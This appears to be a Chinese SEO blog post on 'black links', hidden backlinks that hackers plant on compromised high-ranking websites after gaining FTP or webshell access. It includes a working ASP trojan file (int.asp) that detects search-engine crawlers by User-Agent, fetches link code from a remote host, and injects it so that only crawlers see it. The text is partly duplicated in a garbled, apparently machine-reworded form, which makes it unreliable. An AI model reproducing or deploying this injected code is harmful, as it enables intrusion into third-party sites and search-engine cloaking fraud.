网络推广知识:SEO优化之目标页面上加代码
黑链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的WEBSHELL,进而在被黑网站上链接自己的网站。 黑客们做黑链的方式可能多种多样,但手段其实只有两种,一种是直接在目标网站上直接加上特定的链接代码,另外一种只针对搜索引擎的访问来做,让搜索引擎误认为目标站上存在着这样的链接。下面对这两种方法做一个详细的解释。 1.
暗链是SEO技巧中非常广泛的一种方式,含糊地说,它是指一些在用异常的方式获得的其他网址的反链,最普遍的暗链就是说根据各种各样网站源代码系统漏洞获得百度搜索引擎权重值或是PR较高的网址的WEBSHELL,从而在被网站被封上连接自身的网址。
网络黑客们做暗链的方法将会各种各样,但方式实际上只能二种,一种是立即在总体目标网址上立即再加特殊的链接代码,此外一种只对于百度搜索引擎的浏览来做,让百度搜索引擎误以为总体目标站在存有着那样的连接。下边对这二种方式做一个详尽的表述。
1.立即在总体目标网页页面上添编码:这应当是最一般的一种方式,都是非常容易发觉的方式。之前的暗链绝大多数全是选用这类方式来开展。最先必须侵入目标站的FTP,随后对于网址常用的程序流程,在模版或是别的的网页页面再加“隐型”的连接。这类方式隐秘性较为差,假如目标站的管理人员明白一定的SEO专业知识得话,非常容易就会被发觉。因此,大量的网络黑客刚开始应用第二个方式。
2.根据一段判断的编码,判断求助者的名字和网络ip,假如求助者是搜索引擎蜘蛛,则将此外一段包含连接的编码添加到总体目标网页页面中。下边以一个ASP的事例开展表明:
网络黑客入侵到目标站的FTP,在程序流程里留有2个木马病毒文档,一个文件夹名称为int.asp,所包括的编码为:
<%
OnErrorResumeNextuser_agent=Request.ServerVariables(“HTTP_USER_AGENT”)httpuser=LCase
(request.servervariables(“http_user_agent”))
ifinstr(httpuser,”baidu”)>0orinstr(httpuser,”google”)>0orinstr(httpuser,”sogou”)>0orinstr(httpuser,”soso”)>0
thenSetObjXMLHTTP=Server.createobject(“MSX”+”ML2.s”+”erv”+”erXML”+”HTTP”)ObjXMLHTTP.Open“GET”,”http://domain/a/193.txt”,FalseObjXMLHTTP.sendGetHtml=ObjXMLHTTP.responseBody
SetObjXMLHTTP=NothingsetobjStream=Server.CreateObject(“Adodb.Stream”)objStream.Type=1
objStream.Mode=3objStream.OpenobjStream.Write
GetHtmlobjStream.Position=0objStream.Type=2objStream.Charset=“gb2312″GetHtml=objStream.ReadTextobjStream.Closekey1=lcase(GetHtml)key1=Replace(key1&””,”-istxt-”,””)
response.Writekey1endif
%>
根据IP和浏览名字判断求助者是不是为搜索引擎蜘蛛,将此外一个文档姓名叫“193.txt”(关键是连接的编码)的文档载入到总体目标网页页面中。那样搜索引擎蜘蛛爬取的编码跟人们见到的编码是不一样的。无论是查验网页源文件還是用百度站长工具,都没法发觉暗链的存有。只能一种方法,那便是查验快照更新归档的编码网页页面,才可以看得出难题来。
第二种方法尽管繁杂了点,可是不易被发觉,即使用这类方式给你的网址被K,你将会一时半刻都没法发觉难题。确实归属于凶手级別的暗链方式。
转载请注明: 爱推站 » 网络推广知识:SEO优化之目标页面上加代码
评论列表(0)
发表评论